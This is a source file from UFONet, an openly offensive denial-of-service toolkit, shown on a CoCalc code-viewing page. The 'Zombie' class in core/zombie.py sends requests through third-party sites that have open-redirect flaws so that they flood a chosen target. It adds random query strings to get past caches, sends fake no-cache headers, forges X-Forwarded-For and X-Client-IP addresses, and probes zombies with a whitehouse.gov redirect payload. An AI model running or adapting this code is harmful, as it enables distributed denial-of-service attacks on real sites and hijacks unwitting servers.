Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/zombie.py
1205 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2020 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import io, hashlib, re, sys, certifi
13
import time, threading, random
14
from .randomip import RandomIP
15
try:
16
import pycurl
17
except:
18
print("\nError importing: pycurl lib. \n\n")
19
sys.exit(2)
20
21
class Zombie: # class representing a zombie
22
# constructor: function to construct a zombie
23
# ufo: UFONet object, some state variables are recovered as well
24
# zombie: name/url of zombie
25
def __init__(self, ufo, zombie):
26
self.ufo = ufo
27
self.payload=ufo.payload
28
self.attack_mode=ufo.attack_mode
29
self.zombie = zombie
30
self.connection_failed=True
31
32
# wait for semaphore to be ready, add to herd, connect & suicide!
33
def connect(self):
34
reply=None
35
with self.ufo.sem:
36
self.ufo.herd.new_zombie(self.zombie)
37
reply=self.do_connect()
38
self.ufo.herd.kill_zombie(self.zombie, reply, self.connection_failed)
39
return reply
40
41
# handles zombie connection
42
def do_connect(self):
43
# connect zombies and manage different options: HEAD, GET, POST,
44
# user-Agent, referer, timeout, retries, threads, delay..
45
options = self.ufo.options
46
c = pycurl.Curl()
47
if self.ufo.head == True:
48
try:
49
c.setopt(pycurl.URL, self.zombie) # set 'self.zombie' target
50
except:
51
c.setopt(pycurl.URL, self.zombie.encode('utf-8'))
52
c.setopt(pycurl.NOBODY, True) # use HEAD
53
if self.payload == True:
54
payload = self.zombie + "https://www.whitehouse.gov" # Open Redirect payload [requested by all UFONet motherships ;-)]
55
try:
56
c.setopt(pycurl.URL, payload) # set 'self.zombie' payload
57
except:
58
c.setopt(pycurl.URL, payload.encode('utf-8'))
59
c.setopt(pycurl.NOBODY, 0) # use GET
60
#if self.ufo.external == True:
61
# external_service = "https://status.ws/" # external check
62
# if options.target.startswith('https://'): # fixing url prefix
63
# options.target = options.target.replace('https://','')
64
# if options.target.startswith('http://'): # fixing url prefix
65
# options.target = options.target.replace('http://','')
66
# external = external_service + options.target
67
# try:
68
# c.setopt(pycurl.URL, external) # external HEAD check before to attack
69
# except:
70
# c.setopt(pycurl.URL, external.encode('utf-8'))
71
# c.setopt(pycurl.NOBODY, 0) # use GET
72
if self.attack_mode == True:
73
if options.place: # use self.zombie's vector to connect to a target's place and add a random query to evade cache
74
random_name_hash = random.randint(1, 100000000)
75
random_hash = random.randint(1, 100000000)
76
if options.place.endswith("/"):
77
options.place = re.sub('/$', '', options.place)
78
if options.place.startswith("/"):
79
if "?" in options.place:
80
url_attack = self.zombie + options.target + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
81
else:
82
url_attack = self.zombie + options.target + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
83
else:
84
if "?" in options.place:
85
url_attack = self.zombie + options.target + "/" + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
86
else:
87
url_attack = self.zombie + options.target + "/" + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
88
else:
89
url_attack = self.zombie + options.target # Use self.zombie vector to connect to original target url
90
if self.ufo.options.verbose:
91
print("[Info] [Zombies] Payload:", url_attack)
92
try:
93
c.setopt(pycurl.URL, url_attack) # GET connection on target site
94
except:
95
c.setopt(pycurl.URL, url_attack.encode('utf-8'))
96
c.setopt(pycurl.NOBODY, 0) # use GET
97
# set fake headers (important: no-cache)
98
fakeheaders = ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
99
'Connection: Keep-Alive',
100
'Content-type: application/x-www-form-urlencoded; charset=UTF-8',
101
'Cache-control: no-cache',
102
'Pragma: no-cache',
103
'Pragma-directive: no-cache',
104
'Cache-directive: no-cache',
105
'Expires: 0']
106
c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects
107
c.setopt(pycurl.MAXREDIRS, 10) # set max redirects
108
c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host
109
c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer
110
# c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3
111
c.setopt(pycurl.CAINFO, certifi.where()) # black magic
112
c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic
113
c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic
114
c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache!
115
c.setopt(pycurl.NOSIGNAL, 1) # pass 'long' to stack to fix libcurl bug
116
c.setopt(pycurl.ENCODING, "") # use all available encodings (black magic)
117
if options.xforw: # set x-forwarded-for
118
generate_random_xforw = RandomIP()
119
xforwip = generate_random_xforw._generateip('')
120
xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)]
121
fakeheaders = fakeheaders + xforwfakevalue
122
if options.xclient: # set x-client-ip
123
generate_random_xclient = RandomIP()
124
xclientip = generate_random_xclient._generateip('')
125
xclientfakevalue = ['X-Client-IP: ' + str(xclientip)]
126
fakeheaders = fakeheaders + xclientfakevalue
127
if options.host: # set http host header
128
host_fakevalue = ['Host: ' + str(options.host)]
129
fakeheaders = fakeheaders + host_fakevalue
130
c.setopt(pycurl.HTTPHEADER, fakeheaders) # set fake headers
131
b = io.BytesIO()
132
c.setopt(pycurl.HEADERFUNCTION, b.write)
133
h = io.BytesIO()
134
c.setopt(pycurl.WRITEFUNCTION, h.write)
135
if options.agent: # set user-agent
136
c.setopt(pycurl.USERAGENT, options.agent)
137
else:
138
c.setopt(pycurl.USERAGENT, self.ufo.user_agent)
139
if options.referer: # set referer
140
c.setopt(pycurl.REFERER, options.referer)
141
else:
142
c.setopt(pycurl.REFERER, self.ufo.referer)
143
if options.proxy: # set proxy
144
proxy = options.proxy
145
sep = ":"
146
proxy_ip = proxy.rsplit(sep, 1)[0]
147
if proxy_ip.startswith('http://'):
148
proxy_ip = proxy_ip.replace('http://', '')
149
elif proxy_ip.startswith('https://'):
150
proxy_ip = proxy_ip.replace('https://', '')
151
proxy_port = proxy.rsplit(sep, 1)[1]
152
if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (ex: privoxy)
153
proxy_ip = 'localhost'
154
c.setopt(pycurl.PROXY, proxy_ip)
155
c.setopt(pycurl.PROXYPORT, int(proxy_port))
156
else:
157
c.setopt(pycurl.PROXY, '')
158
c.setopt(pycurl.PROXYPORT, pycurl.PROXYPORT)
159
if options.timeout: # set timeout
160
c.setopt(pycurl.TIMEOUT, options.timeout)
161
c.setopt(pycurl.CONNECTTIMEOUT, options.timeout)
162
else:
163
c.setopt(pycurl.TIMEOUT, 5) # low value trying to control OS/python overflow when too many threads are open
164
c.setopt(pycurl.CONNECTTIMEOUT, 5)
165
if options.delay: # set delay
166
self.ufo.delay = options.delay
167
else:
168
self.ufo.delay = 0 # default delay
169
if options.retries: # set retries
170
self.ufo.retries = options.retries
171
else:
172
self.ufo.retries = 0 # default retries
173
try: # try to connect
174
c.perform()
175
time.sleep(self.ufo.delay)
176
self.connection_failed = False
177
except Exception as e: # try retries
178
for count in range(0, self.ufo.retries):
179
time.sleep(self.ufo.delay)
180
try:
181
c.perform()
182
self.connection_failed = False
183
except:
184
self.connection_failed = True
185
186
if self.ufo.head == True: # HEAD reply
187
try:
188
reply = b.getvalue().decode('utf-8')
189
except:
190
try:
191
reply = b.getvalue()
192
except:
193
reply = None
194
try:
195
code_reply = c.getinfo(pycurl.HTTP_CODE)
196
except:
197
code_reply = 0
198
if reply:
199
if options.verbose:
200
print("[Info] [AI] HEAD Reply:")
201
print("\n"+ reply)
202
if self.ufo.options.testrpc:
203
return reply
204
else:
205
return code_reply
206
if self.ufo.external == True: # External reply
207
try:
208
external_reply = h.getvalue().decode('utf-8')
209
except:
210
try:
211
external_reply = h.getvalue()
212
except:
213
external_reply = None
214
if external_reply:
215
if options.verbose:
216
print("[Info] [AI] EXTERNAL Reply:")
217
print("\n"+ external_reply)
218
return external_reply
219
if self.payload == True: # Payloads reply
220
try:
221
payload_reply = h.getvalue().decode('utf-8')
222
except:
223
try:
224
payload_reply = h.getvalue()
225
except:
226
payload_reply = None
227
if payload_reply:
228
if options.verbose:
229
print("[Info] [AI] PAYLOAD Reply:")
230
print("\n"+ payload_reply)
231
return payload_reply
232
if self.attack_mode == True: # Attack mode reply
233
try:
234
attack_reply = h.getvalue().decode('utf-8')
235
except:
236
try:
237
attack_reply = h.getvalue()
238
except:
239
attack_reply = None
240
try:
241
reply_code = c.getinfo(c.RESPONSE_CODE)
242
except:
243
reply_code = 0
244
try:
245
reply_time = c.getinfo(c.TOTAL_TIME)
246
except:
247
reply_time = 0
248
try:
249
reply_size = len(attack_reply)
250
except:
251
reply_size = 0
252
if options.verbose:
253
print("[Info] [AI] [Zombies] "+self.zombie+" -> REPLY (HTTP Code: "+ str(reply_code)+" | Time: "+str(reply_time)+" | Size: " + str(reply_size)+")")
254
time.sleep(5) # managing screen (multi-threading flow time compensation)
255
if len(attack_reply) == 0:
256
print("[Info] [Zombies] " + self.zombie + " -> FAILED (cannot connect!)")
257
if not self.ufo.options.disablepurge: # when purge mode discard failed zombie
258
self.ufo.discardzombies.append(self.zombie)
259
self.ufo.num_discard_zombies = self.ufo.num_discard_zombies + 1
260
return [reply_code, reply_time, reply_size]
261
262